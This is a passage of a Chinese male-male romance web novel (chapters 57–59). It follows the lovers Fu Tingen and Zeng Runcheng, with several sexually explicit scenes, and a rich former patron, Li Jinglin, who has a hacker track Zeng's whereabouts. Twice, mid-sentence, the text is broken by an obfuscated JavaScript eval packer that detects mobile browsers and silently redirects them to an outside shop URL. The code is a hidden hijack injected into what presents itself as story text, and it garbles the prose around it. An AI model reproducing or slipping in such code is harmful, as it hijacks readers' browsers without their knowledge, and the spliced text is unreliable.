当然,江永安也必须承认,喝醉酒的曾闰成确实很好看。在柏林庄园那一次,他就感受到了曾闰成身上的那种反差感,当他衣冠楚楚的时候,表情端然眼神纯澈甚至还有一点懵懂感。 但只要喝点酒,那如玉的肌肤就会染上一层粉色,眉梢眼角都会涌上几丝春情,整个人都带着点魅惑……这样的男人,在床上不知道会有多么迷人……他都忍不住展开了臆想。 很快,臆想变成现实,让他近距离感受了一下。 他们开车回到傅廷恩的公寓已经是凌晨,除了傅廷恩,其余三个都喝了不少,刚好两间房自然就各自睡下了。酒意萦绕,江永安一直没睡着,然后就听到了隔壁传来的声响。 傅廷恩这房子原本是个大通间,考虑到傅太偶尔要过来看儿子,装修的时候隔出了两间并排的卧室,夜深人静一点轻微的响动都会被扩大,何况傅廷恩颇为急切的索吻。 然后,江永安就听到了曾闰成的声音,低低的轻喘,完全没有夸张,他的毫毛简直是在一瞬间就竖了起来,那种声音带着深醉的呢喃,要勾人心魄般直往耳洞里钻,江永安忍不住屏息,把耳朵贴到墙上,于是听到曾闰成的低喊:“廷恩……你轻,轻一点……” 真是要了老命了!江永安拿手按住胸口,这学不来,真学不来,难怪傅廷恩跟吃了迷魂药一样,难怪李叔叔…… 他被那声音搔得欲念迸发,再看看身侧已经睡过去的莱昂,意大利帅哥的睡颜也是相当养眼,他忍不住将手伸进被子里,结果抚弄半天也没有起立,真不该让他喝那么多酒! 他恨恨的捶了一下枕头,睡又睡不着,弄又弄不了,他恶趣味的开始给傅廷恩计时…… 在听到两人去浴室的时候,他甚至起身将门开了一条缝,借着对面大楼楼顶灯箱的微光,看见傅廷恩裸着上半身,下面裹着浴巾,而另一位被他公主抱在怀里,修长的小腿和圆润的脚趾在他眼前一闪而过。 “妈蛋!老子真是变态了!妈蛋!为什么有人连脚都长那么好看!”江永安气得想捶床。 他在郁闷与愤懑中睡去,连梦里也是那个低喘勾魂的声音,一直绵绵不熄,萦绕耳畔,直到清晨的微光唤醒他沉睡的意识,梦里的呻吟却没有消失,仍然在墙壁的另一端回响…… 妈蛋!傅廷恩这狗日的,一大早就在搞晨练!他用枕头一把将耳朵捂上,却再也睡不着了。 睁着眼听傅廷恩结束晨练,然后起床做早餐,曾闰成去了浴室,他才一溜烟裹着睡袍跑进了厨房,脸皮比城墙还厚的某人看见他还一脸惊讶:“怎么起这么早?要不要吃早餐?”他系着围裙,正在煎牛排。 “我是起这么早吗?我是一晚上都没睡!”江永安咬牙切齿的看着哥们红润餮足的脸庞,“你这破房子什么隔音你不知道吗大哥!” 傅廷恩一根手指放唇边,做了个“嘘”的表情,指了指浴室,“别说!他会害羞的。”他把江永安按到餐桌前坐下,“咱俩什么交情,我都两三天……你得体谅一下吧?喏,第一块牛排给你吃。” 不中用的莱昂听到动静也起了床,见浴室有人,走到厨房门口,一眼看见江永安挂着两个黑眼圈,“Babe,你眼睛怎么了?没睡好吗?” “我学习哪!学习了一晚上!”江永安恨恨的切了一块牛排,顾不得没刷牙,一口塞嘴里,狠狠的咀嚼着。 57.第 57 章 曾闰成在傅廷恩的软磨硬泡之下,答应再陪他住两个星期。他的工作大部分可以在电脑上对接完成,两个人刚刚在一起,一路艰辛,傅廷恩这个年纪难免需求旺盛,他总得稍稍顾念他一点。 便暂时待在他公寓里,但他不让傅廷恩陪着,催着他去学校,“已经耽误你太多时间了,尽量早一点拿到结业证,这也是对自己辛苦学习的一个交待。” 傅廷恩趁机提要求,“那如果我今年底能毕业,你来参加我的毕业典礼好不好?” “你父母要来吧?我……”曾闰成虽然很想看傅廷恩穿硕士服的样子,但想到要跟他父母见面,心里还是忍不住发怵。 傅廷恩握住他的两只手,“闰成,我人生的每个重要时刻都想要你见证,更希望我的家人可以认识你,因为你跟他们一样重要。” 曾闰成却难免担忧,“如果他们反对……”他孑然一身,可以做自己的主,但傅廷恩身后是整个傅家,“其实我们就这样也挺好……”他完全没想过让傅廷恩出柜,在亲友面前宣告或承认彼此的关系,在他看来感情是两个人的事,没必要给别人带来烦恼。 在这点上,傅廷恩和他有分歧,“两边之和永远大于第三边,谁反对也没用。”他眼神坚定,“我爸妈那边我会去沟通。你放心,他们都希望我能幸福,”他伸手把曾闰成拥进怀里,“只有你,才能让我幸福。”他吻了吻他的额角。 两人达成了约定,傅廷恩开始听话的返回学校,伦敦离牛津市很近,他每天一早开车去学校,然后在晚饭前开车回来。 他本来想先带曾闰成去参观一下,曾闰成表示可以等毕业典礼的时候一起,因为生病加返程,他积压了一些没有处理的工作,把黏人宝宝赶去学校,他也要抓紧时间测试数据。 他在公寓的客厅劈出一个角落,每天都在笔记本电脑上敲敲打打,用黑色的水笔在白色的草稿纸上写下各种数字和演算过程。 傅廷恩倚靠在门边,看着他认真工作的样子,侧坐的身影与多年前讲台上端然而立的身影、出租屋里小方桌前侃侃而谈的身影重叠起来,令他脸上不自觉的漫上一层笑意,经年追逐,终令明月入怀。 两个人确实只能分开学习和工作,因为只要凑在一起就总免不了亲亲我我搂搂抱抱,时间总是过得飞快。 傅廷恩有早起的习惯,每天都会起来准备早餐,曾闰成一般跟他一起吃早餐,然后送他出门,叮嘱他“慢点开,路上小心些”。 但如果前一天晚上有“活动”,曾闰成多半第二天就会起得晚一些,傅廷恩就把早餐温在蒸柜里,轻轻的带上门出去。 一到学校,他尽量什么也不想,把自己砸进枯燥的数据和论文,这个效果在上午还是比较好的,但只要太阳开始下山,他的心就不受控制的开始变得浮躁,会频繁看时间,等到实验室墙上的挂钟指向五点,他把手上的资料一丢,就开始往楼下狂奔,钻进自己的车子里,一路风驰电掣,那种想要急切见到某个人的心情笔墨难以形容。 进门必定是一个深吻,不管曾闰成在哪个位置。他多半是在厨房,中午他一般随便吃点,煎牛排或者点外卖,但晚餐就会做上两个菜,等傅廷恩回来一块吃。他做饭的手艺还和多年前一个样,不是曾闰霞那种天赋型选手,但是清淡干净,傅廷恩吃到嘴里总觉得无比美味。 傅廷恩发现他家曾老师是真的很宅,他几乎不出门,做饭的食材也是Uber eat送来的,每天除了三餐就是工作,闲暇也会练习一下毛笔字,知道他有这个爱好,他特意准备了全套用具。 客厅的跑步机有使用的痕迹。“其实你可以到楼下的花园去跑,空气清新景色也好。” 第二天傅廷恩特意提前起床,耳鬓厮磨把他吻醒,带他去花园跑步,等他熟悉了路线,他就提前走了,他还要开车一个小时去学校。 结果曾闰成只跑了三天,就又恢复了在跑步机上跑,问他原因也不说。转天傅廷恩特意早早起床,一个人下去查看情况,果然一到花园就有个身影跳了起来,扬着手say hi……等看清楚他面容,又失望的坐了回去。 曾闰成的衣服都是傅廷恩买的,他几乎都买的情侣款,只有尺码小一号。他一看那个帅哥的表情顿时就明白了,气哼哼的跑回家,逮着还在熟睡的人一顿狂吻,真的是个招蜂引蝶的家伙啊,让人恨不得藏起来! 曾闰成被他吻得莫名其妙,他还没睡够,睁开眼睛瞅他两眼,又倒回柔软的被窝,傅廷恩一看他身娇体软易推倒的样子,就……,他三两下脱光了衣服,跑到床上去缠他,吻他的嘴角舔他的耳垂轻嘬他的喉结,曾闰成懒洋洋的推他,“还来……昨晚还不够吗……”他的腰到现在还是酸的。 傅廷恩在这点上有异于寻常的狡猾,他从不强硬的……,也不会不管不顾……,他再急切也是温柔的将他抱住,只是抱得紧一些,然后……把自己那种渴望表达得明明白白,但又把尊重和珍视展示得淋漓尽致,直到曾闰成受不了那种酥麻瘙痒,圈住他脖颈,“你要做就快点!”他才像听到命令的士兵一样,开始攻城掠地…… 这天之后,傅廷恩每天都会提早四十分钟起床,陪曾闰成跑步,他们穿着情侣款的运动服,以较快的配速跑完五公里,跑走莫名出现的爱慕者,然后一身大汗淋漓的缓步去吃个早餐,对面就是CBD,楼下有不少早餐店。 时间来得及的话,傅廷恩也会给他煎吐司鸡蛋,做土豆泥沙拉。 晚上如果有闲暇,他们会看一部电影,家庭影院从声音到画质都非常nice,一般都选好莱坞大片,槽点满满可供讨论,日系温情大片曾闰成也爱看,看个《忠犬八公》还把他看红了眼睛,“等以后我们也养一条狗吧。Lucky还好吗?” “好得很,它都做妈妈了呢。以后我们可以养金毛,或者影片里这种秋田犬也可以。”傅廷恩把他搂到自己腿上,用手指梳理着他浓密的头发,“它跟你长得好像。” 曾闰成气得拧他大腿内侧,“你才像狗呢。”傅廷恩抓他的手啃一口,“我是啊,我要啃骨头,还想吃肉……” 两个人笑闹着打成一团,大多数时候闹着闹着就变了味,在屏幕的蓝光里吻作一块,水声四起,傅廷恩可以很轻松的公主抱起他,而他也会回攀住他的肩膀,两人交颈拥吻着,走到卧室去…… 这样幸福的日子持续了整整两个星期,直到克里斯蒂安写了两封邮件,又亲自打了一个电话来催,曾闰成才开始收拾行李。 傅廷恩从背后圈住他的腰,“在这里办公不行吗?数据的传输这么方便……” “可以导师就不会打电话来催了,克里斯蒂安人已经很好了,他是海德堡最好说话的博导。”曾闰成知道傅廷恩舍不得他走,转身给他一个安抚的拥抱,“海德堡离伦敦又不算远,我周末就过来看你。” “你别跑了,我去看你,我在那边待了三个月路线比你熟。”傅廷恩抱着他不撒手,“我年底毕业应该是没有问题的,学分已经修够了,论文只要给答辩基本就能过。闰成,你这边呢?大概还要读多久?” “主要看这个无人驾驶项目能不能出成果,如果顺利的话再过一年应该差不多。”在德国读博士,毕业的难度其实不小,有不少运气因素,研究的课题如果能很快出成果,三年就能毕业,但如果一直没出成果,十年都有可能。 傅廷恩长眉轻皱,“那等我这边弄完,我去德国陪读吧,等你毕业,我们再一块去澳洲。”傅家的产业是以华国为本,海外市场主要集中在南美洲和澳洲,在欧洲没有设立分公司。 “廷恩,爱情不是生命的全部,你这个年纪学有所成,正应该去好好拼搏,追求个人价值的实现,不要因为我耽误一年的时间。” 曾闰成知道关于未来的规划是要谈一谈了,拉他在沙发上坐下,“你毕业后该去哪里就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707164|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去哪里,我答应你,一拿到毕业证,就去找你。” 傅廷恩坚决不同意,“如果我去澳洲你在海德堡,见面太难了。我可以先在法兰克福找份工作,这个倒是很简单,然后等你这边结束我们再一块去澳洲。” “你去给别人打工?你家里恐怕不会支持。” “我会说服他们的,我会寻找跟家里规划一致的公司,这其实也是一种历练,”傅廷恩越想越觉得可行,“我几个堂兄其实也有到别人公司工作的经历,叔伯们都觉得经验的积累是很重要的事情。家里的工作我来做,你答应我就好。” 曾闰成想了想,“那我考虑一下吧,你先尽快拿到结业证再说。”他其实也不想跟傅廷恩分开,能够有两全其美的办法当然是最好。 “闰成,”傅廷恩捧起他的脸,在他的唇角轻啄,“我舍不得你走……”他像小孩子一样撒着娇,“你走了我怎么办?我晚上会睡不着……” 这半个月,两个人每天都是相拥着睡去,又相拥着醒来,都不需要适应,就改变了原来独眠的习惯。当然,这估计跟两个人都睡相好,不打呼不磨牙有关系。 曾闰成的情感经历比较简单,傅廷恩是谈过数十任男女朋友的人,从来没有谁像曾闰成这样跟他合拍。 他虽然打扮上有走落拓不羁风格的时候,骨子里其实很爱干净,曾闰成就简直称得上有点小洁癖。每次吃完饭,傅廷恩洗碗收拾厨房,曾闰成就拖地,两个人一齐动手把不大的两居室收拾得干干净净,垃圾都要每天送到清运处。 两个人都注重个人形象,洗完澡相互贴面膜也是他们的小爱好之一,即使很熟了,也不会毫无顾忌的剔牙放屁做一些不雅的举止。这点其实没有对错,只是个人喜好问题。 每次傅廷恩看着曾闰成洗得香香的白白的,安静的沉睡在他的臂弯里,那种难以言喻的满足感就会从胸腔深处升起来。现在骤然要分开,确实是会有些不习惯。 曾闰成温柔的回亲着他,“不是说分开是为了更好的相聚吗?很多一线城市都有周末夫妻……” 傅廷恩抓住关键词,“如果是夫妻倒也确实没什么,不管到哪里也知道另一方不会离开自己。可是,”他搂着曾闰成倒在沙发上,“你到现在都没有叫过我一声老公。” 曾闰成被雷到浑身一颤,“这你就别想了……” “为什么?”傅廷恩将手伸进他的衣襟里,反复的摩挲他劲瘦的腰肢,意乱情迷的舔吻他的耳垂,在他耳畔低哑的询问,“为什么不行?” “叫不出口。”机票都订好了,做一回少一回,他抬手解开傅廷恩的衬衫。 “那我叫你好了,”傅廷恩很喜欢他的主动,“老公……”他咬着他的耳朵,“今天让你在上面好了。” “真的?”曾闰成扬起眉毛,眼睛都放出光来,其实他是很想尝试一下的,因为从来没试过,他相信自己如果有机会,也能做得很好,让大家都舒服。 他学着傅廷恩的样子,不断的去亲吻他……“乖,我会疼你的……” 傅廷恩露出一抹狡黠的笑意,“好,老公,都听你的……”他舒张着四肢,任曾闰成忙碌个不停。 两双手都没闲着,摸出他们常用的薄荷味精油,不断的…… 曾闰成什么都跟他穿的衣服一样,比他小了一号,这让他略微有点心虚的移开手指和目光,去舔吻他的喉结和耳垂,还在傅廷恩耳畔低声安慰,“小一点其实更好,会没那么……” 然后,他就感觉有什么以迅雷不及掩耳之势……傅廷恩一把搂住他……然后一个翻身将他送到了身上,“老公,现在你在上面了……” 曾闰成惊得目瞪口呆,半晌,才反应过来,他“啊”的低叫一声,伏倒在他的胸膛上,傅廷恩还在那里恬不知耻,“老公……不要太快哦,我会受不了的……” 曾闰成狠狠咬住了他的唇,捂住了那可恶的低笑声。 58.第 58 章 港城李氏是整个华国最早富起来的一批人之一,发家史可以追溯到民国时期,他们立足港城,辐射全国,且乐于开拓,在北美洲和整个欧洲都有庞大的产业链。在欧洲的英德法瑞四国设立了分公司,在天然气、石油能源等领域能与各国的当地豪族并驾齐驱。其中德国的分公司算是李氏在欧洲的总公司,李景麟每个月都要在柏林待上几天。 他的秘书团首、二、三秘都精通英德法三国语言,平时各自奔忙,今天难得齐聚在顶楼汇报工作。二秘徐理匀速播放着手中的三维软件,整面墙的屏幕上360度展示着一座古堡的方方面面,从古堡外的护城河到城墙内的马场、花园、停机坪,整体为新哥特式建筑,装修主调为巴洛克风格,各个房间的场景略有局部调整。 “古堡的装修已经全部精工完毕,本月底可以投入使用,年底分公司年会可以如期举行,共计47个房间,除主人使用的区域外,有36个房间可以接待客人。房间内各项设施均已检修到位。” 他又打开另一个视频,正是柏林约克郡那个白色庄园,室外整修得干净明丽,室内基本已经清空。 “勃朗庄园以800万欧的税前价格出售给了罗斯尔德勋爵,日前已经完成对接。相比十年前的购入价格增长了三十个百分点,除去十年间的养护费用及各项税收,利润点为8.72,比市场行情有小幅提升。”视频上出现了新签约的合同,与十年前的购入合同对比数据。 “庄园中的藏书、画作均已移入古堡中。”徐理补充了一句。李景麟点点头,“嗯,做得不错,接下来的年会工作交给齐越。” 三秘齐越起身应是,又展示了年会宾客的预拟名单,才和徐理一起退了出去。柏林分公司的几个骨干员工跟在后面退出了会议室。 欧洲几个分公司的资产在不断的进行整合,随着业务的扩大,勃朗庄园已经无法满足商务宴请交际的需求,李景麟大手笔购入了德国摩泽尔河畔一个古堡,大加整修,极尽奢华,每年光维护费用都是一个天文数字,但位置四通八达,对整个欧洲业务的囊括及李氏财力的展示都能产生正面影响。 “徐理这次资产处置做得不错,你调教得很好。”李景麟和颜悦色的称赞了苏秘书。 苏秘书不敢居功,“徐理本身能力突出,已经不需要我再教什么。” 其实近来徐理在秘书团已经有与她平分秋色的趋势,个中原因她心里有数,面向李景麟的态度十分平静恭谨。 “乌干达那边仍然没有消息?”李景麟问得轻描淡写。 苏秘书却是心头一跳,沉声道:“他已经结束支教,离开了坎帕拉。” “在哪里?” “……暂不清楚。” “不清楚?”李景麟一声冷笑,“你想说你找不到他?” 苏秘书语塞,“我,”她低下头,“能力有限,愧对您的栽培。” 李景麟淡声道,“希望只是能力问题。去把安德鲁叫到我办公室。”他起身走出了会议室。 苏秘书出去的时候,李芷玉在门口等她,作为秘书团的成员之一,她也经常飞欧洲,虽然大多数时候就起个陪同的作用,她还在学习期。 “苏姐,老板怎么好像很生气的样子?”李景麟脸色不好的时候,李芷玉不敢称呼他为叔叔。“咦,你脸色怎么也这么难看?” 苏秘书摇摇头,转身进了自己办公室,小姑娘还不太会看眉眼高低,当然也有自恃身份无所畏惧的因素,跟着她进了办公室,看她拨打内线电话,用德语说了几句。 李芷玉的德语不是很熟练,跟她确认,“你刚是说让安德鲁去老板办公室吗?” 苏秘书点点头。 “安德鲁就是那个电脑黑客天才吧?公司真的每年花很多钱聘请他维护网络安全吗?老板脸色不好是因为公司的网络遭到了攻击吗?” 苏秘书被她的十万个为什么问得头疼,“我这会有事,你回自己办公室去吧。” “哎,我办公室有人,不想回去。” “谁?屈励阳?”这次飞柏林,李景麟带上了他的新宠。 “嗯,他老跟我打听老板的事情,搞得我好烦。”李芷玉皱着鼻子,“又不好得罪他,万一他要告状我可就惨了,李叔叔好像对他很好的样子?”这小机灵鬼其实也是来套苏秘书的话。 “你别管他,”苏秘书赶她走,“去去去,我有好几个电话要打。”等李芷玉带上门走了,她才放松肩背倒进宽大的真皮座椅里。 曾闰成这事,她预感自己的判断是有些失误了。按道理,老板既然同意让他走,就应该预料到他不会回来。难道真的是因为她的劝说?“希望只是能力问题”,这是很明显的敲打了,老板在怀疑她的忠心。可是…… 整个秘书团里面,苏秘书觉得自己的差事是最麻烦的,因为她要料理老板的感情问题,而感情恰恰是最不可捉摸的,不确定的因素太多了。 自从曾闰成远走非洲,她就开始刻意去淡化他在李景麟心目中的印象,新鲜的血液也在及时补充,按道理……她叹了口气,感情的事情就没有道理可言。 她确实不知道曾闰成去了哪里,但查证航班信息是件很简单的事。问题是,仅仅查知去向这么简单吗?她宁肯被质疑能力与忠心,也要交由别人来接手,她预感这是个烫手的山芋,只想赶紧丢出去。 ———————————————————————— 曾闰成回到海德堡大学后,先去导师那里报了道,又跟科研组的同事们见了面。 因为博士是岗位制,大家都有领薪资,所以称同事。但都是跟随克里斯蒂安来学习的各国高材生,算是同门师兄弟、姐妹的关系,比职场上的一般同事来得亲近。 傅廷恩对曾闰成的事称得上件件细心,替他准备了一些英国特产的茶叶和巧克力,让他分送给导师和同事。曾闰成本身也不是那种孤高自许,独来独往的人,之前在海德堡跟大家相处也颇为愉快,只是后面各种原因导致没有深交的机会。 这次回归,大家都看出这个师弟与之前的状态相比明显有一些不一样,穿衣风格也比之前显年轻,本身对他的专业能力就很佩服,三五天之后大家就很熟稔了。 一个俄罗斯师姐和一个泰国师弟都对他表现出异乎寻常的热络,休息的间隙总围着他,食堂吃饭也争抢着要跟他一起,曾闰成只好宣布:“我有男朋友了。” 俄罗斯师姐不信,“你是gay?不可能!不可能!”因为曾闰成身上确实没有半点gay气,无论说话还是举止都不娘炮,看男生的目光也没有任何异样。 泰国师弟倒是兴奋异常,“我就说嘛!师姐我赢了!”他之前为这事跟师姐打赌一顿饭,又转身向曾闰成,“我可以跟你男朋友公平竞争!” 曾闰成哭笑不得,“到时候我男朋友过来,让他请大家吃饭。” 傅廷恩正愁没机会,听说有人喊话要公平竞争,第二天就屁颠屁颠的从伦敦飞过来了,而且收拾得异常骚包。 浓黑自然卷的头发有明显修饰打理的痕迹,一张脸也是360°无死角的无可挑剔,十月的海德堡已经进入秋季,他穿一身运动套装,脚上的板鞋跟曾闰成脚上的一模一样,是没有任何logo但一看就知道品质极好的装扮,意气风发的来请曾闰成的同事们吃饭。 这种场合虽然有邀请导师,但导师一般都很懂味的不会出席,七个师兄弟姐妹们到得整整齐齐。 傅廷恩其实比他们都要小,比大师兄甚至小了十多岁,但傅公子是见惯大场面的人,谈笑自如的hold住全场。 他精通多国语言,对各国民风也有一定了解,本身就在牛津读书,智商学识跟在座的高材生没有壁垒,大家很快就忽略了年龄差距,热切的交谈起来。 他订的是私人包厢,餐食酒水都安排得很到位,没有刻意炫富但源源不断供应的新鲜食材和香槟也表达了请客者的诚意。 俄罗斯师姐很快就跟他拼起酒来,战斗民族是出了名的能喝,曾闰成不太知道傅廷恩的酒量,一脸担心的在边上插科打诨,寻求援手,傅廷恩回他一个“你放心”的眼神,不但跟师姐喝得风生水起,也没冷落其她同事,间隙里还穿插着给曾闰成剥虾喂菜,宣示男友主权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720044|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 泰国师弟彻底死心,再不敢叫嚣公平竞争了,还跟曾闰成开玩笑:“要不我们公平竞争?” 傅廷恩一双眼睛亮晶晶的,面上两抹绯红,显然也喝得不少了,听到泰国师弟的玩笑话,搂过曾闰成的肩膀,当众在他脸颊上亲了一口,“我和你在他这里竞争,你近水楼台可能还有一定赢面。但你和他在我这里,你赢面为0。” 一众师兄弟姐妹们都哈哈的大笑起来,一顿饭吃得宾主尽欢,散场的时候或多或少都有了几分醉意。 傅廷恩喝得尤其多,走路都有些不稳当。曾闰成半搂半抱着把他带回自己的单人宿舍。 他没有回法兰克福的房子住,学校对于博士的单人宿舍很好申请,租金也优惠,他简单的收拾了,住得很舒服,三餐就在学校食堂解决,每天泡在实验室的时间都多出不少。 傅廷恩一进门就压着他亲吻,可能有酒精的因素,他的吻比平时来得激烈,曾闰成也热切的回应他,他上次被他骗了,一直耿耿于怀,今天就是个极好的找回场子的机会。 他是看着他喝了多少酒的,只要不是海量,这会子应该也只能任他施为了。傅廷恩也确实一副醉得不轻的样子,扒他衣服的动作都显得迟缓无力。 “让我来,我来就好。”曾闰成扶他在床边躺下,十分温柔的给他脱衣服,随着一件件的束缚解开,傅廷恩矫健的躯体呈现在眼前。 他的身材比例完美得不像话,腿长且直,腹肌胸肌不是块垒分明的那种,却线条流畅轮廓隐现,两条深深的人鱼线,蔓延到毛发旺盛的区域。 曾闰成蹲在床前,盯着眼前的裸体,竟然不自觉的咽了一下口水。傅廷恩瞥见差点笑出声,只能装醉掩饰的翻过身去,将一个挺翘的屁股对着他。 这下曾闰成更来劲了,伸手就……对手底下的弹性十分满意。就在他想要进一步的时候,傅廷恩又一个翻身,半闭着眼睛醉醺醺的喊着:“水……我想喝水……” “好好好,马上。”曾闰成起身端了水过来,喂到他唇边,却被傅廷恩推开了,“不要这个……”杯子都差点被他打翻到地上。 “不是要喝水吗?” “我要你喂我……” “是喂你呀,”曾闰成又把杯子凑他嘴边去。傅廷恩又推开了,“要嘴喂……嗯……闰成……我要喝水……好渴……”曾闰成没办法,只好含一口水到嘴里,覆到他唇上,傅廷恩立刻就绞缠住他,两个人翻滚着,曾闰成的衣物也散落到了地上,两具躯体赤条条的勾连在一起。 曾闰成还没忘记目的,在傅廷恩的耳朵边低声强调着,“廷恩,这回你可该兑现承诺了,让我在上边。乖,我会很温柔的,比你还温柔……” 肢体的纠缠里,他始终想要掌控主动权。“嗯。”傅廷恩答应着,任他在他身上各种摸索、点火。其实他真不是想骗他,让他试一下也没什么,只要彼此都爽到,谁上谁下也没什么要紧,他真是这么想的。 可问题是曾闰成没有经验,动作又比较温吞,他把握不好这事的节奏,他还在那里努力的……傅廷恩早已经把他…… 曾闰成对这方面的心理承受能力实在是低,几十个回合就喊不行了,但好在他很心软,身体又敏感,傅廷恩只要在耳朵边情话哄着他,手底下温柔的抚触,他就会乖乖的…… 傅廷恩原来从不认为这件事情能对感情起什么决定性作用。他爱着曾闰成,绝不是因为这个。 而之前交往的对象,也有在这方面方面很合拍的,双方都能干,且有默契,一个抬腿对方就知道要翻身。彼此都能尽全力迎合对方的需求,满足自身的欲望。 可自从尝过曾闰成的滋味……他对那个除他之外,唯一尝过他滋味的人除了嫉恨,还升起了几分复杂的情绪。 他突然就清楚了曾闰成身上那些青紫伤痕的由来,任谁偶然间拾得这样一朵娇花,却又明白它并不向着自己生长,都会忍不住伸手蹂躏。 他只能庆幸,这朵花最终属于他,而且从心到形都属于他。二十几年被称为天之骄子,从来没有觉得这样贴切过,他的确是上天的宠儿。 59.第 59 章 秋季是摩泽森林最佳狩猎的季节,拥有狩猎执照,在指定区域可以合法捕猎,这也是欧洲富豪们热衷的活动之一。 李景麟一身骑装,戴着头盔,骑一匹高大的黑色骏马,两三匹快马在后跟随,几只猎犬一路狂吠。一群人马闪电般跨过奔龙堡的大门,直抵庄园内的马场。 他将装饰一新的古堡命名为奔龙堡,突出它的华国底蕴。 几个侍从将马背上的猎物搬下来,厨娘们接手抬进厨房,李芷玉在一旁欢呼雀跃:“叔叔你好厉害,真的打到了公鹿!还有山鸡!这个黑色的是什么?” 侍从在一旁恭敬作答:“麂子。小姐晚上可以尝尝。” 李景麟脱下头盔和手套,扔给另一个侍从,转身走进大厅,屈励阳端了新鲜榨取的橙汁迎了出来,“看样子收获颇丰?”他马术不佳,打猎没法跟随。 “嗯,晚上吃烤鹿肉。”他接过水杯喝了两口,高声用德语吩咐了几句,侍从们便在主楼外的空地上架起火堆来。 他上楼洗了个澡,刚裹着睡袍在沙发上坐下,厚重的木门被叩响,屈励阳端了一个托盘进来,琉璃盏里一小汪澄红,是处理过的鹿茸血,掺着威士忌。 他奔跑了大半天,也确实有些疲累,接过去一饮而尽,顿觉舒爽,四肢百骸都升腾起一股暖意。 屈励阳搁下托盘,在他敞开的睡袍面前蹲下身,李景麟向后一靠,打开毛茸茸的双腿…… 李景麟的目光投入虚空里,最终落到墙边挂着的那副画上。画上是一个青年侧坐的身影,他微微偏着头,似看向窗外的夜色。 整个画的基调是深沉的暗色,真皮的沙发、脚下的地毯,包括青年身上穿着的毛衣都暗沉沉的,但青年的脸庞却发着玉色的光泽,尤其一双眼睛,即便不是直视,也能看到温润的轮廓和闪亮的神采,让观者可以断定,这画上的青年有一双极美的眼睛,而且眼神清澈温柔。 克劳斯作为法国油画届写实派的代表,还是很有实力和功底的,李景麟觉得他抓住了曾闰成长相的精髓。 他点燃一根烟,在烟雾朦胧里看向画上人物的嘴唇,丰盈而不厚重,泛着浅淡的水色,这令他不自觉的回想起在高雪维尔的小木屋,他将他压在木桶壁上…… 他远没有现下那张嘴灵活,更毫无技巧可言,但是他那双桃花眼里盈润的泪水,面庞上窒息般的红润,还有那弯曲向后的脖颈,喉间的哽咽与耸动…… 李景麟在愉悦的顶端…… 等到他完全的风平浪静,屈励阳才起身去浴室清理,又捧了热毛巾出来,半跪着帮他擦拭干净。 李景麟很满意他的知情识趣,拉他手坐到自己身边,随手打开边几上的抽屉,将一个缎带礼盒塞他手上。屈励阳打开,是江诗丹顿最贵的一款表之一,人民币售价两百多万。他惊喜的戴到手腕上,“这也太贵重了……” “之前买的,别人不要,就送你了。”如果不是这次搬迁到古堡,秘书将这个礼盒送上来,李景麟都不知道曾闰成没有收下他的圣诞礼物,甚至搬家的时候都没有带去法兰克福的房子,就那么随意放置在勃朗庄园主卧的床头柜里。 他的心意,有的人不屑一顾,有的人为此欣喜若狂。屈励阳开心的在他脸颊上印下一吻,“谢谢景麟。” 李景麟拍拍他的脸蛋,起身到书桌前坐下,打开电脑。 屈励阳还在沙发上摆弄着他的新礼物,从这个角度看,他跟曾闰成确实有几分相像,都是清瘦的身影,温润的面部线条。 而且屈励阳性格还更单纯,给什么都高高兴兴的接着,从不矫情。也更温顺,在床上从不推拒,他学舞蹈出身,身体的柔韧性好得你可以摆弄成任何你想要的样子。更乖巧,从不争风吃醋,对宋奕都是恭恭敬敬。苏秘书找到这个替代品,确实是费心了。 李景麟不是没想过,就这么算了,世界这么大,乐子这么多,他不是在玻璃堆里找糖吃的性子。 电脑提示他有新邮件,他随手点开,来自安德鲁,是一份曾闰成的行程汇报:八月初离开坎帕拉,在迪拜停留了三天,在伦敦停留了十七天,之后一直在海德堡,没有离开过。 看样子,他是回海德堡继续读博了。他离他只有五个小时的车程。这样近。他的心跳喧嚣起来。 侍从上来请他们去吃饭,架堆上新鲜的鹿肉和山鸡散发着阵阵焦香味,最好的部位精心烹饪后呈送到李景麟桌前,他却有些食不下咽。 他在迪拜停留三天是跟谁一起呢?而且是在帆船酒店,瑞士银行账户始终没有支取记录,就凭他手里那几个钱够付酒店的房费吗? 在伦敦停留这么长时间,又是跟谁在一起呢?傅家那小子还是江家那小子?但他之后没有再离开海德堡…… 晚上,李景麟辗转难眠,屈励阳以为是那鹿茸血的功效,挨上来要帮他纾解,却被推开了。 天亮的时候,他披衣起床,“去吩咐司机,十分钟后出发。” ————————————————————————— 曾闰成走出海德堡校园的时候,完全没有注意到门楼旁停着的劳斯莱斯,欧洲豪车满天飞,又比较注重隐私,这样车膜贴得严严实实的豪车随处可见。 他打开运动手表,点击位置共享,看着屏幕上那个小红点越来越近,嘴角就不由自主的向上翘起。 直到两个红点重叠,他抬起头,傅廷恩拎着包跳下计程车,“廷恩。”他欢喜的迎上去,要接过他手里的包,傅廷恩却不肯,将左手的小盒子递给他,“机场买的冰淇淋,抹茶味和芒果味的,赶紧吃,要融化了。下次我带个保温盒。” 他爱吃的这个牌子,机场有专柜,傅廷恩每次过来都要给他带。 他接过去,舀一大口放嘴里,“嗯,就是这个味道。”香甜软糯,更甜的是他的心意。 